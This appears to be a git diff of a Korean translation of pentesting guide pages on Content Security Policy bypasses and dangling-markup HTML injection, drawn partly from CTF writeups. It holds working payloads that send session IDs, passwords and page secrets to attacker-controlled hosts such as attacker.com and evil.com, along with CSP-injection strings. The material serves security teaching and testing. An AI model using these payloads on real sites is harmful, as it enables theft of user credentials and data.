5. 앱의 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "귀하의" 웹사이트에서 전송되는 이벤트를 확인합니다.
그런 다음, 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키 다음과 같은 사용자 정의 이벤트를 발행합니다:
그런 다음, 피해자 측에서 다음 코드를 실행하여 공격자의 Facebook 개발자 계정 앱 ID를 가리키도록 Facebook 추적 픽셀을 초기화하고 다음과 같은 사용자 정의 이벤트를 발행합니다:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
### RPO(상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
경로 제한을 우회하기 위한 앞서 언급한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(RPO)라는 또 다른 기술이 있습니다.
경로 제한을 우회하기 위한 앞서 언급한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다.
예를 들어, CSP가 경로 `https://example.com/scripts/react/`를 허용하는 경우, 다음과 같이 우회할 수 있습니다:
```html
@ -368,7 +368,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
### AngularJS 이벤트
특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고 AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 보유하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고, AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 포함하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
이 배열을 `orderBy` 필터로 전달함으로써, 이를 반복하여 터미널 요소(즉, `window` 객체)를 활용해 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래의 코드 스니펫은 이 과정을 설명합니다:
```xml
@ -393,11 +393,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
다른 JSONP 임의 실행 엔드포인트는 [**여기**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다)
다른 JSONP 임의 실행 엔드포인트는 [**여기**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
### 리디렉션을 통한 우회
CSP가 서버 측 리디렉션을 만났을 때 어떤 일이 발생할까요? 리디렉션이 허용되지 않 다른 출처로 이어지면 여전히 실패합니다.
CSP가 서버 측 리디렉션을 만났을 때 어떤 일이 발생할까요? 리디렉션이 허용되지 않 다른 출처로 이어지면 여전히 실패합니다.
그러나 [CSP spec 4.2.2.3. 경로 및 리디렉션](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)에서 설명한 바에 따르면, 리디렉션이 다른 경로로 이어지면 원래의 제한을 우회할 수 있습니다.
@ -421,11 +421,11 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
```
CSP가 `https://www.google.com/a/b/c/d`로 설정된 경우, 경로가 고려되므로 `/test``/a/test` 스크립트는 CSP에 의해 차단됩니다.
그러나 최종 `http://localhost:5555/301`**서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다.** 리디렉션이므로 **경로는 고려되지 않으며**, **스크립트를 로드할 수 있습니다**, 따라서 경로 제한을 우회하게 됩니다.
그러나 최종 `http://localhost:5555/301`**서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다.** 리디렉션이므로 **경로는 고려되지 않으며**, **스크립트가 로드될 수 있습니다**, 따라서 경로 제한을 우회하게 됩니다.
이 리디렉션으로 인해 경로가 완전히 지정되더라도 여전히 우회됩니다.
따라서 최선의 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
따라서 가장 좋은 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
### 매달린 마크업으로 CSP 우회
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
이 구성은 **이미지 안에 삽입된 자바스크립트 코드를 로드하는 데** 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 **제작**하여 Twitter에 **업로드**하고 "**unsafe-inline**"을 악용하여 JS 코드를 **실행**할 수 있습니다(일반적인 XSS처럼). 이 코드는 **이미지를 로드하고**, 그 안에서 **JS****추출**하여 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
이 구성은 **이미지 안에 삽입된 자바스크립트 코드를 로드하는 데** 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 **제작**하여 Twitter에 **업로드**하고 "**unsafe-inline**"을 악용하여 **JS 코드를 실행**할 수 있습니다(일반적인 XSS처럼) 이 코드는 **이미지를 로드하고**, **JS를 추출**하여 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 서비스 워커와 함께
@ -462,13 +462,25 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
#### 크롬
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책**을 어떤 식으로든 **무용하게** 만드는 방식으로 **변경**할 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'****허용**할 수 있습니다:
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책을 무력화**하는 방식으로 **정책을 변경**할 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'을 허용**할 수 있습니다:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
이 지시문은 **기존 script-src 지시문을 덮어씁니다**.\
여기에서 예제를 찾을 수 있습니다: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%
여기에서 예를 찾을 수 있습니다: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge에서는 훨씬 간단합니다. CSP에 단지 이것을 추가할 수 있다면: **`;_`** **Edge**는 **전체 정책을 삭제**합니다.\
예시: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - 시간 공격
지시문 `'unsafe-inline'`의 부재에 주목하세요.\
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 **로드**하게 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 **플래그**가 추출될 것이며, SQLi를 통해 **문자가 올바르게 추측될 때마다** **응답**이 **더 많은 시간**을 소요하게 됩니다. 그러면 플래그를 추출할 수 있게 됩니다:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -536,7 +548,7 @@ run()
### CSP 제한을 통한 CSP 우회
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일의 로드를 허용하지 않도록 설정되어 있습니다. 그 후, **프로토타입 오염** 또는 **DOM 클로버링**을 통해 **다른 스크립트를 악용하여 임의의 스크립트를 로드할 수 있게** 합니다.
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 이후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게** 합니다.
**`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**:
```html
@ -544,8 +556,8 @@ run()
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정할 수 있어 CSTI를 방지하는 스크립트가 비활성화되었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 특정 인라인 스크립트를 sha를 통해 활성화할 수 있습니다:
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
```html
<meta
http-equiv="Content-Security-Policy"
@ -556,7 +568,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 당신의 서버를 가리키게 할 수 있으며, **전달하고자 하는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 유발하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 당신의 서버를 가리키게 할 수 있으며, **전송하려는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 발생시키고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
예시로 [**이 CTF 작성글을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -571,34 +583,34 @@ document.querySelector("DIV").innerHTML =
- 이 URL은 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션되며, 이는 CSP에 의해 **허용되지 않습니다**.
- `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 유출합니다.
Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있는 가능성을 초래합니다.
Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있니다.
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성되어 있다면, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다양한 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성된 경우, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 다양한 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁혀 나가고, 결국 전체 URL을 밝혀낼 수 있습니다.
CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁힐 수 있으며, 결국 전체 URL을 밝혀낼 수 있습니다.
두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 의도치 않게 민감한 정보를 유출할 수 있는지를 보여줍니다.
[**여기**](https://ctftime.org/writeup/29310)에서의 트릭.
Trick from [**here**](https://ctftime.org/writeup/29310).
## CSP 우회를 위한 안전하지 않은 기술
### 너무 많은 파라미터로 인한 PHP 오류
### 너무 많은 매개변수로 인한 PHP 오류
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 파라미터(1001 GET 파라미터, POST 파라미터 및 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이는 오류를 유발하기 때문입니다.
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 매개변수(1001 GET 매개변수, POST 매개변수 및 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이로 인해 오류가 발생합니다.
### PHP 응답 버퍼 오버로드
PHP는 기본적으로 **4096** 바이트까지 응답을 **버퍼링**하는 것으로 알려져 있습니다. 따라서 PHP가 경고를 표시하는 경우, **경고 안에 충분한 데이터를 제공함으로써**, **응답**이 **CSP 헤더** **이전**에 **전송**되어 헤더가 무시됩니다.\
그런 다음, 이 기술은 기본적으로 **경고로 응답 버퍼를 채우는 것**으로 구성되어 CSP 헤더가 전송되지 않도록 합니다.
[**이 글**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻었습니다.
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### 오류 페이지 재작성
[**이 글**](https://blog.ssrf.kr/69)에서 CSP 보호를 우회하기 위해 오류 페이지(잠재적으로 CSP가 없는)를 로드하고 그 내용을 재작성하는 것이 가능했던 것으로 보입니다.
[**이 글**](https://blog.ssrf.kr/69)에서 보듯이, 오류 페이지(잠재적으로 CSP가 없는) 로드 및 그 내용을 재작성하여 CSP 보호를 우회할 수 있었던 것으로 보입니다.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -607,15 +619,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하고자 하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM**에 **접근**할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하고자 하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM**에 접근할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트를 가지고 있으며, 이는 출력에서 전송된 **데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 **출력에 전송된 데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격****생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**될 것입니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
이 공격을 수행하는 방법에 대한 더 많은 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)를 확인하세요.
## CSP Exfiltration Bypasses
@ -637,7 +649,7 @@ document.location = "https://attacker.com/?" + sessionid
```
### DNS Prefetch
페이지를 더 빠르게 로드하기 위해 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 나중에 사용할 수 있도록 캐시합니다.\
페이지 로드를 더 빠르게 하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\
브라우저에 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**:
@ -668,7 +680,7 @@ X-DNS-Prefetch-Control: off
여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
실제로 _DNS 요청_을 사용하여 정보를 _leak_할 수 있습니다. 이 코드를 확인해 보세요:
실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해 보세요:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

View File

@ -2,11 +2,11 @@ A configuration such as:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
코드로 전송된 문자열을 실행하는 모든 함수의 사용을 금지합니다. 예를 들어: `eval, setTimeout, setInterval``unsafe-eval` 설정으로 인해 모두 차단됩니다.
코드가 문자열로 전송되는 함수를 실행하는 것을 금지합니다. 예를 들어: `eval, setTimeout, setInterval``unsafe-eval` 설정으로 인해 모두 차단됩니다.
외부 소스의 모든 콘텐츠도 차단되며, 여기에는 이미지, CSS, WebSockets, 특히 JS가 포함됩니다.
### 텍스트 및 이미지 경
### 텍스트 및 이미지 경
현대 브라우저는 이미지를 HTML로 변환하여 표시를 향상시키는 것으로 관찰됩니다 (예: 배경 설정, 중앙 정렬 등). 따라서 `favicon.ico` 또는 `robots.txt`와 같은 이미지나 텍스트 파일이 `iframe`을 통해 열리면 HTML로 렌더링됩니다. 특히, 이러한 페이지는 종종 CSP 헤더가 없으며 X-Frame-Options를 포함하지 않을 수 있어, 이로부터 임의의 JavaScript 실행이 가능해집니다:
```javascript
@ -43,7 +43,7 @@ for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}
```
언급된 시나리오 중 하나를 트리거한 후, iframe 내에서 JavaScript 실행은 다음과 같이 가능합니다:
언급된 시나리오 중 하나를 트리거한 후, iframe 내에서 JavaScript 실행은 다음과 같이 가능다:
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"

View File

@ -4,16 +4,16 @@
## Resume
이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. **XSS** [**를 이용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **HTML 태그를 주입할 수 있는 경우**에도 유용합니다.\
또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다.
이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **일부 HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\
또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 일부 스크립트 실행을 오도하고 싶을 때도 유용합니다.
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식(HTML 태그, CSS, http-meta 태그, 폼, base 등)으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다.
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base...).
## Main Applications
### Stealing clear text secrets
페이지가 로드될 때 `<img src='http://evil.com/log.cgi?`를 주입하면 피해자는 주입된 `img` 태그와 코드 내의 다음 인용부호 사이의 모든 코드를 전송합니다. 만약 그 조각에 비밀이 포함되어 있다면, 당신은 그것을 훔칠 수 있습니다(더블 쿼트를 사용하여 같은 작업을 수행할 수 있으며, 어떤 것이 더 흥미로울지 살펴보세요).
페이지가 로드될 때 `<img src='http://evil.com/log.cgi?`를 주입하면 피해자는 주입된 `img` 태그와 코드 내의 다음 인용부호 사이의 모든 코드를 전송합니다. 만약 그 조각에 비밀이 포함되어 있다면, 당신은 그것을 훔칠 수 있습니다(더블 인용부호를 사용하여 같은 작업을 수행할 수 있으며, 어떤 것이 더 흥미로울지 살펴보세요).
`img` 태그가 금지된 경우(CSP 때문일 수 있음) `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`를 사용할 수도 있습니다.
```html
@ -32,7 +32,7 @@ CSS `@import`를 악용할 수도 있습니다(세미콜론(";")을 찾을 때
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
당신은 또한 `<base` 태그를 삽입할 수 있습니다. 모든 정보는 인용이 닫힐 때까지 전송되지만 일부 사용자 상호작용이 필요합니다(사용자가 링크를 클릭해야 합니다. 왜냐하면 base 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):
당신은 또한 `<base` 태그를 삽입할 수 있습니다. 모든 정보는 인용이 닫힐 때까지 전송되지만 일부 사용자 상호작용이 필요합니다(사용자가 링크를 클릭해야 하며, 기본 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -41,15 +41,15 @@ steal me'<b>test</b>
```html
<base href="http://evil.com/" />
```
그런 다음, 데이터를 경로로 보내는 양식(`<form action='update_profile.php'>`)은 악의적인 도메인으로 데이터를 보냅니다.
그런 다음, 데이터를 경로로 보내는 폼(`<form action='update_profile.php'>`)은 악성 도메인으로 데이터를 보냅니다.
### 양식 훔치기 2
### 훔치기 2
양식 헤더 설정: `<form action='http://evil.com/log_steal'>` 이렇게 하면 다음 양식 헤더가 덮어쓰여지고 양식의 모든 데이터가 공격자에게 전송됩니다.
폼 헤더를 설정합니다: `<form action='http://evil.com/log_steal'>` 이렇게 하면 다음 폼 헤더가 덮어쓰여지고 폼의 모든 데이터가 공격자에게 전송됩니다.
### 양식 훔치기 3
### 훔치기 3
버튼은 "formaction" 속성을 사용하여 정보가 전송될 URL을 변경할 수 있습니다.
버튼은 "formaction" 속성을 사용하여 정보가 전송될 URL을 변경할 수 있습니다:
```html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
@ -59,15 +59,15 @@ I get consumed!
[**이 공격의 예를 이 문서에서 찾으세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### 명확한 텍스트 비밀 훔치기 2
### 평문 비밀 훔치기 2
가장 최근에 언급된 기술을 사용하여 양식을 훔치고 (새 양식 헤더 주입) 새로운 입력 필드를 주입할 수 있습니다:
```html
<input type='hidden' name='review_body' value="
```
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 콘텐츠와 다음 이중 따옴표 사이의 콘텐츠를 포함합니다. 이 공격은 "_**명확한 텍스트 비밀 훔치기**_"와 "_**양식 훔치기2**_"를 혼합합니다.
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 내용을 다음 이중 따옴표까지 포함합니다. 이 공격은 "_**명확한 텍스트 비밀 훔치기**_"와 "_**양식 훔치기2**_"를 혼합합니다.
폼과 `<option>` 태그를 주입하여 동일한 작업을 수행할 수 있습니다. 닫힌 `</option>`이 발견될 때까지 모든 데이터가 전송됩니다:
폼과 `<option>` 태그를 주입하여 같은 작업을 수행할 수 있습니다. 닫힌 `</option>`이 발견될 때까지 모든 데이터가 전송됩니다:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
@ -86,11 +86,11 @@ I get consumed!
</form>
</form>
```
### 노스크립트를 통한 평문 비밀 훔치기
### noscript를 통한 평문 비밀 훔치기
`<noscript></noscript>`는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 [chrome://settings/content/javascript](chrome://settings/content/javascript)에서 활성화/비활성화할 수 있습니다).
`<noscript></noscript>`는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 활성화/비활성화할 수 있습니다: [chrome://settings/content/javascript](chrome://settings/content/javascript)).
공격자가 제어하는 사이트로 주입 지점에서 페이지의 내용을 하단까지 유출하는 방법은 다음을 주입하는 것입니다:
공격자가 제어하는 사이트로 주입 지점에서 하단까지 웹 페이지의 내용을 유출하는 방법은 다음을 주입하는 것입니다:
```html
